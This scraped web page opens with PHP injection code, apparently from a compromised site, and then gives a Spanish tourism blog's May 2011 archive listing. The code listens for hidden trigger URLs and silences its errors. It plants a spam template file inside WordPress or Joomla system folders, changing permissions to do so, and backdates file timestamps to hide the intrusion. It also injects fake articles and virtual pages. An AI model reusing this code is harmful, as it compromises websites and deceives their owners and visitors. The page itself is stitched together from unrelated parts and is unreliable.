if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$context = stream_context_create(array(
'http' => array('ignore_errors' => true),
));
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context);
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context);
}
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context);
}
if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) )
{
$tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl);
$tpl = preg_replace('# ]+?alternate[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?archives[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?bookmark[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?external[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?first[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?help[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?last[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?license[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?next[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?nofollow[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?noreferrer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?pingback[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?prefetch[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?prev[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?search[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?sidebar[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?up[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?canonical[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?robots[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?charset[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?content-type[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?og:[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?viewport[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?keywords[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?description[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?google[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?yandex[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?bing[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?slurp[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?refresh[^>]+?>#is', '', $tpl);
$tpl = preg_replace('# ]+?referer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl);
$tpl = preg_replace('#
]*>[^<]*? #is', '[TITLE] ', $tpl);
$tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl);
$tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl);
$tpl = preg_replace('#\[CONTENT\]
#is', '[CONTENT]', $tpl);
$new_tags = '
';
$tpl = preg_replace('##is', $new_tags.'', $tpl);
} else
{
$tpl = base64_decode('PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBjbGFzcz0ianMiPjxoZWFkPgoJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIj4KPHRpdGxlPltUSVRMRV08L3RpdGxlPgoKCgoJCTxzY3JpcHQgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3Avd3AtaW5jbHVkZXMvanMvd3AtZW1vamktcmVsZWFzZS5taW4uanM/dmVyPTQuNS1SQzEtMzcwNzkiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaW1nLndwLXNtaWxleSwKaW1nLmVtb2ppIHsKCWRpc3BsYXk6IGlubGluZSAhaW1wb3J0YW50OwoJYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7Cglib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CgloZWlnaHQ6IDFlbSAhaW1wb3J0YW50OwoJd2lkdGg6IDFlbSAhaW1wb3J0YW50OwoJbWFyZ2luOiAwIC4wN2VtICFpbXBvcnRhbnQ7Cgl2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7CgliYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7CglwYWRkaW5nOiAwICFpbXBvcnRhbnQ7Cn0KPC9zdHlsZT4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBpZD0idHdlbnR5c2l4dGVlbi1mb250cy1jc3MiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1NZXJyaXdlYXRoZXIlM0E0MDAlMkM3MDAlMkM5MDAlMkM0MDBpdGFsaWMlMkM3MDBpdGFsaWMlMkM5MDBpdGFsaWMlN0NNb250c2VycmF0JTNBNDAwJTJDNzAwJTdDSW5jb25zb2xhdGElM0E0MDAmYW1wO3N1YnNldD1sYXRpbiUyQ2xhdGluLWV4dCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGlkPSJnZW5lcmljb25zLWNzcyIgaHJlZj0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vZ2VuZXJpY29ucy9nZW5lcmljb25zLmNzcz92ZXI9My40LjEiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIj4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBpZD0idHdlbnR5c2l4dGVlbi1zdHlsZS1jc3MiIGhyZWY9Imh0dHBzOi8vd3AtdGhlbWVzLmNvbS93cC1jb250ZW50L3RoZW1lcy90d2VudHlzaXh0ZWVuL3N0eWxlLmNzcz92ZXI9NC41LVJDMS0zNzA3OSIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiPgo8IS0tW2lmIGx0IElFIDEwXT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ndHdlbnR5c2l4dGVlbi1pZS1jc3MnICBocmVmPSdodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9jc3MvaWUuY3NzP3Zlcj0yMDE1MDkzMCcgdHlwZT0ndGV4dC9jc3MnIG1lZGlhPSdhbGwnIC8+CjwhW2VuZGlmXS0tPgo8IS0tW2lmIGx0IElFIDldPgo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd0d2VudHlzaXh0ZWVuLWllOC1jc3MnICBocmVmPSdodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9jc3MvaWU4LmNzcz92ZXI9MjAxNTEyMzAnIHR5cGU9J3RleHQvY3NzJyBtZWRpYT0nYWxsJyAvPgo8IVtlbmRpZl0tLT4KPCEtLVtpZiBsdCBJRSA4XT4KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ndHdlbnR5c2l4dGVlbi1pZTctY3NzJyAgaHJlZj0naHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vY3NzL2llNy5jc3M/dmVyPTIwMTUwOTMwJyB0eXBlPSd0ZXh0L2NzcycgbWVkaWE9J2FsbCcgLz4KPCFbZW5kaWZdLS0+CjwhLS1baWYgbHQgSUUgOV0+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHBzOi8vd3AtdGhlbWVzLmNvbS93cC1jb250ZW50L3RoZW1lcy90d2VudHlzaXh0ZWVuL2pzL2h0bWw1LmpzP3Zlcj0zLjcuMyc+PC9zY3JpcHQ+CjwhW2VuZGlmXS0tPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3Avd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5qcz92ZXI9MS4xMi4yIj48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTEuNC4wIj48L3NjcmlwdD4KCgogCgo8bWV0YSBuYW1lPSJnZW5lcmF0b3IiIGNvbnRlbnQ9IldvcmRQcmVzcyA0LjUtUkMxLTM3MDc5Ij4KCgoKCgkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4ucmVjZW50Y29tbWVudHMgYXtkaXNwbGF5OmlubGluZSAhaW1wb3J0YW50O3BhZGRpbmc6MCAhaW1wb3J0YW50O21hcmdpbjowICFpbXBvcnRhbnQ7fTwvc3R5bGU+CiAgPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9IltQQUdFX1VSTF0iPgogICAgPGxpbmsgcmVsPSJwcmV2IiBocmVmPSJbUkFORF9VUkxfUFJFVl0iPgogICAgPGxpbmsgcmVsPSJuZXh0IiBocmVmPSJbUkFORF9VUkxfTkVYVF0iPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOnRpdGxlIiBjb250ZW50PSJbVElUTEVdIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp0eXBlIiBjb250ZW50PSJhcnRpY2xlIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzpzaXRlX25hbWUiIGNvbnRlbnQ9IltDT01NT05dIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp1cmwiIGNvbnRlbnQ9IltQQUdFX1VSTF0iPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOmxvY2FsZSIgY29udGVudD0iZW5fVVMiPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIHByb3BlcnR5PSJvZzpkZXNjcmlwdGlvbiIgY29udGVudD0iW0RFU0NSSVBUSU9OXSI+CiAgICA8bWV0YSBuYW1lPSJrZXl3b3JkcyIgY29udGVudD0iW0tFWVdPUkRTXSI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgdXNlci1zY2FsYWJsZT15ZXMiPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgogIAoJCTwvaGVhZD4KCjxib2R5IGNsYXNzPSJzaW5ndWxhciBzaW5nbGUgc2luZ2xlLXBvc3QgcG9zdGlkLTE5IHNpbmdsZS1mb3JtYXQtc3RhbmRhcmQiPgo8ZGl2IGlkPSJwYWdlIiBjbGFzcz0ic2l0ZSI+Cgk8ZGl2IGNsYXNzPSJzaXRlLWlubmVyIj4KCQk8YSBjbGFzcz0ic2tpcC1saW5rIHNjcmVlbi1yZWFkZXItdGV4dCIgaHJlZj0iI2NvbnRlbnQiPlNraXAgdG8gY29udGVudDwvYT4KCgkJPGhlYWRlciBpZD0ibWFzdGhlYWQiIGNsYXNzPSJzaXRlLWhlYWRlciIgcm9sZT0iYmFubmVyIj4KCQkJPGRpdiBjbGFzcz0ic2l0ZS1oZWFkZXItbWFpbiI+CgkJCQk8ZGl2IGNsYXNzPSJzaXRlLWJyYW5kaW5nIj4KCQkJCQkJCQkJCQk8cCBjbGFzcz0ic2l0ZS10aXRsZSI+W0NPTU1PTl08L3A+CgkJCQkJCQkJCQkJCgkJCQkJCQkJCTwvZGl2PjwhLS0gLnNpdGUtYnJhbmRpbmcgLS0+CgoJCQkJCQkJPC9kaXY+PCEtLSAuc2l0ZS1oZWFkZXItbWFpbiAtLT4KCgkJCQkJPC9oZWFkZXI+PCEtLSAuc2l0ZS1oZWFkZXIgLS0+CgoJCTxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPgoKPGRpdiBpZD0icHJpbWFyeSIgY2xhc3M9ImNvbnRlbnQtYXJlYSI+Cgk8bWFpbiBpZD0ibWFpbiIgY2xhc3M9InNpdGUtbWFpbiIgcm9sZT0ibWFpbiI+CgkJCjxhcnRpY2xlIGlkPSJwb3N0LTE5IiBjbGFzcz0icG9zdC0xOSBwb3N0IHR5cGUtcG9zdCBzdGF0dXMtcHVibGlzaCBmb3JtYXQtc3RhbmRhcmQgaGVudHJ5IGNhdGVnb3J5LXVuY2F0ZWdvcml6ZWQgdGFnLWJvYXQgdGFnLWxha2UiPgoJPGhlYWRlciBjbGFzcz0iZW50cnktaGVhZGVyIj4KCQk8aDEgY2xhc3M9ImVudHJ5LXRpdGxlIj5bVElUTEVdPC9oMT4JPC9oZWFkZXI+PCEtLSAuZW50cnktaGVhZGVyIC0tPgoKCQoJCgk8ZGl2IGNsYXNzPSJlbnRyeS1jb250ZW50Ij4KICBbQ09OVEVOVF0KPC9kaXY+PCEtLSAuZW50cnktY29udGVudCAtLT4KCgkKPC9hcnRpY2xlPjwhLS0gI3Bvc3QtIyMgLS0+CgoJCgk8L21haW4+PCEtLSAuc2l0ZS1tYWluIC0tPgoKCQo8L2Rpdj48IS0tIC5jb250ZW50LWFyZWEgLS0+CgoKCTxhc2lkZSBpZD0ic2Vjb25kYXJ5IiBjbGFzcz0ic2lkZWJhciB3aWRnZXQtYXJlYSIgcm9sZT0iY29tcGxlbWVudGFyeSI+CgkJPHNlY3Rpb24gaWQ9InNlYXJjaC0zIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9zZWFyY2giPgo8Zm9ybSByb2xlPSJzZWFyY2giIG1ldGhvZD0iZ2V0IiBjbGFzcz0ic2VhcmNoLWZvcm0iIGFjdGlvbj0iIyI+Cgk8bGFiZWw+CgkJPHNwYW4gY2xhc3M9InNjcmVlbi1yZWFkZXItdGV4dCI+U2VhcmNoIGZvcjo8L3NwYW4+CgkJPGlucHV0IHR5cGU9InNlYXJjaCIgY2xhc3M9InNlYXJjaC1maWVsZCIgcGxhY2Vob2xkZXI9IlNlYXJjaCDigKYiIHZhbHVlPSIiIG5hbWU9InMiIHRpdGxlPSJTZWFyY2ggZm9yOiI+Cgk8L2xhYmVsPgoJPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzZWFyY2gtc3VibWl0Ij48c3BhbiBjbGFzcz0ic2NyZWVuLXJlYWRlci10ZXh0Ij5TZWFyY2g8L3NwYW4+PC9idXR0b24+CjwvZm9ybT4KPC9zZWN0aW9uPgkJPHNlY3Rpb24gaWQ9InJlY2VudC1wb3N0cy0zIiBjbGFzcz0id2lkZ2V0IHdpZGdldF9yZWNlbnRfZW50cmllcyI+CQk8aDIgY2xhc3M9IndpZGdldC10aXRsZSI+UmVjZW50IFBvc3RzPC9oMj4JCQoJCTwvc2VjdGlvbj4JCTxzZWN0aW9uIGlkPSJyZWNlbnQtY29tbWVudHMtMyIgY2xhc3M9IndpZGdldCB3aWRnZXRfcmVjZW50X2NvbW1lbnRzIj48aDIgY2xhc3M9IndpZGdldC10aXRsZSI+UmVjZW50IENvbW1lbnRzPC9oMj48L3NlY3Rpb24+PHNlY3Rpb24gaWQ9ImFyY2hpdmVzLTMiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2FyY2hpdmUiPjxoMiBjbGFzcz0id2lkZ2V0LXRpdGxlIj5BcmNoaXZlczwvaDI+CQkKCQk8L3NlY3Rpb24+PHNlY3Rpb24gaWQ9ImNhdGVnb3JpZXMtMyIgY2xhc3M9IndpZGdldCB3aWRnZXRfY2F0ZWdvcmllcyI+PGgyIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPkNhdGVnb3JpZXM8L2gyPgkJCjwvc2VjdGlvbj4JPC9hc2lkZT48IS0tIC5zaWRlYmFyIC53aWRnZXQtYXJlYSAtLT4KCgkJPC9kaXY+PCEtLSAuc2l0ZS1jb250ZW50IC0tPgoKCQk8Zm9vdGVyIGlkPSJjb2xvcGhvbiIgY2xhc3M9InNpdGUtZm9vdGVyIiByb2xlPSJjb250ZW50aW5mbyI+CgkJCQoJCQkKCQkJPGRpdiBjbGFzcz0ic2l0ZS1pbmZvIj4KCQkJCQkJCQk8c3BhbiBjbGFzcz0ic2l0ZS10aXRsZSI+W0NPTU1PTl08L3NwYW4+CgkJCQk8YSBocmVmPSJodHRwczovL3dvcmRwcmVzcy5vcmcvIj5Qcm91ZGx5IHBvd2VyZWQgYnkgV29yZFByZXNzPC9hPgoJCQk8L2Rpdj48IS0tIC5zaXRlLWluZm8gLS0+CgkJPC9mb290ZXI+PCEtLSAuc2l0ZS1mb290ZXIgLS0+Cgk8L2Rpdj48IS0tIC5zaXRlLWlubmVyIC0tPgo8L2Rpdj48IS0tIC5zaXRlIC0tPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL3R3ZW50eXNpeHRlZW4vanMvc2tpcC1saW5rLWZvY3VzLWZpeC5qcz92ZXI9MjAxNTExMTIiPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL3dwLXRoZW1lcy5jb20vd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9qcy9mdW5jdGlvbnMuanM/dmVyPTIwMTUxMjA0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly93cC10aGVtZXMuY29tL3dwL3dwLWluY2x1ZGVzL2pzL3dwLWVtYmVkLm1pbi5qcz92ZXI9NC41LVJDMS0zNzA3OSI+PC9zY3JpcHQ+CgoKPC9ib2R5PjwvaHRtbD4=');
}
$tpl_path = '';
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/wp-admin/includes/'))
{
$tpl_path = '/wp-admin/includes/template.html';
}
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$tpl_path = '/libraries/joomla/application/template.html';
}
chmod(dirname($root_path.$tpl_path), 0755);
chmod($root_path.$tpl_path, 0644);
if (file_put_contents($root_path.$tpl_path, $tpl))
{
echo 'Success!';
} else
{
echo 'failed';
}
touch($root_path.$tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
touch(dirname($root_path.$tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
exit;
}
if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000);
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$item->introtext = '';
$item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000);
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = '2011-11-11 11:11:11';
$item->publish_up = '2011-11-11 11:11:11';
$item->alias = $alias;
if (!$database->insertObject('#__content', $item, 'id')) {
echo $database->stderr();
}
$url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id;
$data = file_get_contents($url);
$data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data);
$data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11.11.2011#is', '[DATE]', $data);
$data = preg_replace('#2011-11-11#is', '[DATE]', $data);
$data = preg_replace('#2011.11.11#is', '[DATE]', $data);
echo $data;
exit;
}
if (is_dir($root_path.'/wp-admin/includes/'))
{
if (!class_exists('THEVirtualPage'))
{
class THEVirtualPage
{
private $slug = NULL;
private $title = NULL;
private $content = NULL;
private $author = NULL;
private $date = NULL;
private $type = NULL;
public function __construct($args)
{
$this->slug = 'slug';
$this->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$this->content = 'thefuckingcontent'.mt_rand(1, 10000000000);
$this->author = 1;
$this->date = current_time('mysql');
$this->dategmt = current_time('mysql', 1);
$this->type = 'page';
add_filter('the_posts', array(&$this, '_virtualPage'));
}
// filter to create virtual page content
public function _virtualPage($posts)
{
global $wp, $wp_query;
//create a fake post intance
$post = new stdClass;
// fill properties of $post with everything a page in the database would have
$post->ID = "-1"; // use an illegal value for page ID
$post->post_author = $this->author; // post author id
$post->post_date = $this->date; // date of post
$post->post_date_gmt = $this->dategmt;
$post->post_content = $this->content;
$post->post_title = $this->title;
$post->post_excerpt = '';
$post->post_status = 'publish';
$post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist
$post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist
$post->post_password = ''; // no password
$post->post_name = $this->slug;
$post->to_ping = '';
$post->pinged = '';
$post->modified = $post->post_date;
$post->modified_gmt = $post->post_date_gmt;
$post->post_content_filtered = '';
$post->post_parent = 0;
$post->guid = get_home_url('/' . $this->slug);
$post->menu_order = 0;
$post->post_type = $this->type;
$post->post_mime_type = '';
$post->comment_count = 0;
// set filter results
$posts = array($post);
// reset wp_query properties to simulate a found page
$wp_query->is_page = TRUE;
$wp_query->is_singular = TRUE;
$wp_query->is_home = FALSE;
$wp_query->is_archive = FALSE;
$wp_query->is_category = FALSE;
unset($wp_query->query['error']);
$wp_query->query_vars['error'] = '';
$wp_query->is_404 = FALSE;
return ($posts);
}
}
}
function _create_virtual()
{
$args = array('slug' => 'slug',
'title' => '',
'content' => ''
);
$pg = new THEVirtualPage($args);
}
function change_wp_44_title( $title )
{
global $data;
$title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000);
$title['page'] = '';
$title['tagline'] = '';
$title['site'] = '';
return $title;
}
function change_wp_40_title( $title )
{
return 'thefuckingtitle'.mt_rand(1, 10000000000);
}
function _change_page_url( )
{
return '[PAGE_URL]';
}
add_filter( 'the_permalink', '_change_page_url');
add_action('init', '_create_virtual');
add_filter( 'document_title_parts', 'change_wp_44_title' );
add_filter( 'wp_title', 'change_wp_40_title' );
}
}
mayo | 2011 | Universo Turistico.
Monthly Archives: mayo 2011
Mito 1: “Facebook es la panacea y la solución al marketing digital” En mi experiencia es todo lo contrario, aunque el SEM y el CRM sean menos sexies, son los que realmente nos dan respuesta. Por no hablar del email… Read more ›
Del viernes 20 al domingo 22 de mayo, el pronóstico meteorológico indica nieve para la zona de Palermo Ferial. Es que en esos días parte del predio de La Rural se transformará con una pista de nieve artificial de 675… Read more ›
CAT, la Cámara Argentina de Turismo y la compañía Aerolíneas Argentinas han firmado un ‘Convenio Marco de Colaboración’, que va a permitir ampliar y potenciar diversas acciones conjuntas previstas dentro en un plan de trabajo a desarrollar para incentivar el… Read more ›
La SIGEN, Sindicatura General de la Nación, organismo argentino encargado de auditar las acciones gubernamentales, hizo entrega de su informe referente al impacto económico generado por la organización del rally Dakar 2011. En este documento se anuncia que estos impactos… Read more ›
Las llegadas de turistas internacionales crecieron casi un 5% durante los primeros meses de 2011, consolidándose así el repunte del 7% registrado en 2010. Según la actualización provisional publicada en abril del Barómetro OMT del Turismo Mundial, el crecimiento fue… Read more ›
Stefania Drebnieks